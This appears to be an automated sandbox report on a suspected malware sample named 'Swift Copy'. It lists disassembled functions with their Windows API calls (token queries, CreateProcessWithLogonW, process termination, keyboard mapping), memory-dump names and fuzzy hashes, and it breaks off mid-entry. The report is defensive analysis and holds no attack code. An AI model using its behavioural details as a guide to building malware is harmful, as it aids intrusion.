Instruction ID: 38a3603841402cd3e1932856f62947703bad040e5ce7a5c3896e461f77ce0778
Opcode Fuzzy Hash: b40c077fcb1ced1c026720ccc160ae7352161b95c4acdc4bbbe10fe6ddbafa16
Instruction Fuzzy Hash: 8D415771900205EFDF15AF55DC85AAA7BB8FF44300F1480A5F900AA297DB71DEA4DBB0

Function 00E081DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00DCF3AB,00000000,?,?,00000000,?,00DC682C,00000004,00000000,00000000), ref: 00E0824C
EnableWindow.USER32(00000000,00000000), ref: 00E08272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00E082D1
ShowWindow.USER32(00000000,00000004), ref: 00E082E5
EnableWindow.USER32(00000000,00000001), ref: 00E0830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00E0832F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 62e11c6af4d575613fba72ae4146726b561f8e250ac60e2a3a73b0a25dffb904
Instruction ID: a7e9377f2cd587d0197950609abd8f5557b514376beab5a8328bd9a599b92c8e
Opcode Fuzzy Hash: 62e11c6af4d575613fba72ae4146726b561f8e250ac60e2a3a73b0a25dffb904
Instruction Fuzzy Hash: B741DA34601644DFDF11CF15C999BE47BE0FB4A718F1822A5E6886B1F2C73258C5CB41

Function 00DD4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00DD4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00DD4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00DD4CEA
_wcslen.LIBCMT ref: 00DD4D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00DD4D10
_wcsstr.LIBVCRUNTIME ref: 00DD4D1A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 8a4c08a2dc1ef0be356fad1a8279772e1afa35501efbe23e1a084a86ed5096aa
Instruction ID: cc617a11b6e4550193d05ae6c9283f4bc5b66b903f7fa728ddd1d17cdf42c1e2
Opcode Fuzzy Hash: 8a4c08a2dc1ef0be356fad1a8279772e1afa35501efbe23e1a084a86ed5096aa
Instruction Fuzzy Hash: B621F931204204BFEB255B39EC49E7B7B9DDF45B50F14412AF805DA291DE72DC4197B1

Function 00DE581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00D73AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D73A97,?,?,00D72E7F,?,?,?,00000000), ref: 00D73AC2

_wcslen.LIBCMT ref: 00DE587B
CoInitialize.OLE32(00000000), ref: 00DE5995
CoCreateInstance.OLE32(00E0FCF8,00000000,00000001,00E0FB68,?), ref: 00DE59AE
CoUninitialize.OLE32 ref: 00DE59CC

Strings

.lnk, xrefs: 00DE5876, 00DE58C1, 00DE5985

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 114e673fc3781b97a37278c9b1e8ec5e6a939925f40522670a9161a4b5542996
Instruction ID: 38a7f70673d3b20e284d996773314212638b5549e2aa8a2fc0c05c7384e07d75
Opcode Fuzzy Hash: 114e673fc3781b97a37278c9b1e8ec5e6a939925f40522670a9161a4b5542996
Instruction Fuzzy Hash: 6ED175716047019FC714EF26D880A2ABBE1EF89758F14895DF8899B362D731EC45CFA2

Function 00DD175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD0FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00DD0FCA
Part of subcall function 00DD0FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00DD0FD6
Part of subcall function 00DD0FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00DD0FE5
Part of subcall function 00DD0FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00DD0FEC
Part of subcall function 00DD0FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00DD1002

GetLengthSid.ADVAPI32(?,00000000,00DD1335), ref: 00DD17AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00DD17BA
HeapAlloc.KERNEL32(00000000), ref: 00DD17C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00DD17DA
GetProcessHeap.KERNEL32(00000000,00000000,00DD1335), ref: 00DD17EE
HeapFree.KERNEL32(00000000), ref: 00DD17F5

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 6b0c618052ab499b9204f7320286ee14f821732e5b385097b0f90c8a6eef7029
Instruction ID: baf8d7e0b0bbbc38d2309f2b037133dde22edb1eb5d122591e403db4d5f86228
Opcode Fuzzy Hash: 6b0c618052ab499b9204f7320286ee14f821732e5b385097b0f90c8a6eef7029
Instruction Fuzzy Hash: 90117C75601205FFDB109FA5CC49BAE7BB9FB45355F24421AF481A7220D736A988CB70

Function 00DD14CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00DD14FF
OpenProcessToken.ADVAPI32(00000000), ref: 00DD1506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00DD1515
CloseHandle.KERNEL32(00000004), ref: 00DD1520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00DD154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00DD1563

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 2ec65083cb95891f1e5aa5bd7dfc43f9b327c7dc7e495014d0fad7e0fcb67d0e
Instruction ID: 77cdec8754e1505c76aab9ef628399d85c5af8fd139368aa2ca22d8c953d40f4
Opcode Fuzzy Hash: 2ec65083cb95891f1e5aa5bd7dfc43f9b327c7dc7e495014d0fad7e0fcb67d0e
Instruction Fuzzy Hash: 3E114A7650020ABFDB118FA4ED49BDE7BA9EF48704F188115FA05A21A0C376CE64DB60

Function 00D93382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D93379,00D92FE5), ref: 00D93390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D9339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D933B7
SetLastError.KERNEL32(00000000,?,00D93379,00D92FE5), ref: 00D93409

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 726350618c2c5f11650954c331d7a2549e306487fcc37f65d51853f20e2a63e6
Instruction ID: 43ae81f2371c4542fc3c72ad8125d5c1bd25deb6f28c2edbd793fedeb26426f1
Opcode Fuzzy Hash: 726350618c2c5f11650954c331d7a2549e306487fcc37f65d51853f20e2a63e6
Instruction Fuzzy Hash: 5901243224D311BFEF2827BABC899272E94EB05779B300329F410A11F0EF128D0A5A74

Function 00DA2D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00DA5686,00DB3CD6,?,00000000,?,00DA5B6A,?,?,?,?,?,00D9E6D1,?,00E38A48), ref: 00DA2D78
_free.LIBCMT ref: 00DA2DAB
_free.LIBCMT ref: 00DA2DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00D9E6D1,?,00E38A48,00000010,00D74F4A,?,?,00000000,00DB3CD6), ref: 00DA2DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00D9E6D1,?,00E38A48,00000010,00D74F4A,?,?,00000000,00DB3CD6), ref: 00DA2DEC
_abort.LIBCMT ref: 00DA2DF2

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 3df4f85c04d7d4e65a4bdc1514c2bf267b75b4f69f417b469adef6695baaef56
Instruction ID: 2ef9aa1db82140edff1007adfe5a1eee8c52e4a448445fe4fe0d366460a2a726
Opcode Fuzzy Hash: 3df4f85c04d7d4e65a4bdc1514c2bf267b75b4f69f417b469adef6695baaef56
Instruction Fuzzy Hash: F3F049355456006BCA62273F7C0AB7B1656EFC3771B354514F424A2197EF29CC4551B1

Function 00E08A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00D89639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D89693
Part of subcall function 00D89639: SelectObject.GDI32(?,00000000), ref: 00D896A2
Part of subcall function 00D89639: BeginPath.GDI32(?), ref: 00D896B9
Part of subcall function 00D89639: SelectObject.GDI32(?,00000000), ref: 00D896E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00E08A4E
LineTo.GDI32(?,00000003,00000000), ref: 00E08A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00E08A70
LineTo.GDI32(?,00000000,00000003), ref: 00E08A80
EndPath.GDI32(?), ref: 00E08A90
StrokePath.GDI32(?), ref: 00E08AA0

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 1abf4a3ae93d861ae98f5b50ac410724104fd565dcc933082f584a7eaa1c6228
Instruction ID: 9c4d8eec43065f7a8ce98f2d6a2648a83b4af5bc9ade09cfd93ec4f2578f3364
Opcode Fuzzy Hash: 1abf4a3ae93d861ae98f5b50ac410724104fd565dcc933082f584a7eaa1c6228
Instruction Fuzzy Hash: D9111E7600010CFFEF119F91DC88EAA7F6CEB04354F148151FA55A51A1C7729D99DFA0

Function 00DD51FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00DD5218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00DD5229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00DD5230
ReleaseDC.USER32(00000000,00000000), ref: 00DD5238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00DD524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00DD5261

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 1a87ba0ff53b8da450aad48413652aca3019e492f06953e2edd3c76a9267a471
Instruction ID: 3517deeef6230c18a46590281504070c4c9bba0e9b6cc51d3890489ea5a1d6fd
Opcode Fuzzy Hash: 1a87ba0ff53b8da450aad48413652aca3019e492f06953e2edd3c76a9267a471
Instruction Fuzzy Hash: D2018F75A00708BFEB109BA69C49F4EBFB8EF48751F144166FA04A7280D6719808CBA0

Function 00D71BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00D71BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00D71BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00D71C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00D71C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00D71C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D71C22

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: fb948e3bd4dc8f7882a06467569511019070196d3e4cbbad260537aa08c0e2b8
Instruction ID: 186161fa0bf59cbeb20d03ec47713659ff6616aa66dd90ab51f131fefe9f299a
Opcode Fuzzy Hash: fb948e3bd4dc8f7882a06467569511019070196d3e4cbbad260537aa08c0e2b8
Instruction Fuzzy Hash: 59016CB09027597DE3008F5A8C85B52FFA8FF19754F00411B915C47941C7F5A864CBE5

Function 00DDEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00DDEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00DDEB46
GetWindowThreadProcessId.USER32(?,?), ref: 00DDEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00DDEB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00DDEB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00DDEB75

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 7eb2769985f4043e936c5117babcea73793d9920d0bd15b98025feb82d47b03c
Instruction ID: 3cee9620a07ceb2fef3751669f8490ef253221d04e69b85e71d5dc9f3b712c88
Opcode Fuzzy Hash: 7eb2769985f4043e936c5117babcea73793d9920d0bd15b98025feb82d47b03c
Instruction Fuzzy Hash: EBF09072101118BFE7205753AC0DEEF3A7CEFCAF11F100259F601E1090D7A21A45C6B5

Function 00DC7439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00DC7452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00DC7469
GetWindowDC.USER32(?), ref: 00DC7475
GetPixel.GDI32(00000000,?,?), ref: 00DC7484
ReleaseDC.USER32(?,00000000), ref: 00DC7496
GetSysColor.USER32(00000005), ref: 00DC74B0

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 753c22d569e09460e6b6ed313af7b1ec4d95c3f9289827ab6d534356acd23f22
Instruction ID: 1071e7ffdf4ca93f42cc9d72e1567813b5b7215f60f3cb813f6fe3bfb58d6f46
Opcode Fuzzy Hash: 753c22d569e09460e6b6ed313af7b1ec4d95c3f9289827ab6d534356acd23f22
Instruction Fuzzy Hash: 23018B31404206EFDB205F65EC08FAA7BB5FB04321F250264FA15A30A0CB321E86AF61

Function 00DD1874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00DD187F
UnloadUserProfile.USERENV(?,?), ref: 00DD188B
CloseHandle.KERNEL32(?), ref: 00DD1894
CloseHandle.KERNEL32(?), ref: 00DD189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00DD18A5
HeapFree.KERNEL32(00000000), ref: 00DD18AC

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 8f66747928f2ec7429fae3e8ada73c24e60bf29b58ed73f268c7d4035e0c75e4
Instruction ID: 6e4419053dac1f07529ccd9ae9481cef4e4b00a272f37b2849ed899ec3251be9
Opcode Fuzzy Hash: 8f66747928f2ec7429fae3e8ada73c24e60bf29b58ed73f268c7d4035e0c75e4
Instruction Fuzzy Hash: B4E0E536004102BFDB015FA2ED0C90ABF39FF49B22B208321F225A10B1CB3394A4DF90

Function 00D7BBE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00D7BEB3

Strings

D%, xrefs: 00D7BCA2
D%, xrefs: 00D7BE9A
D%, xrefs: 00D7BCA5
D%, xrefs: 00D7BDED, 00D7BD91, 00D7BD1B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
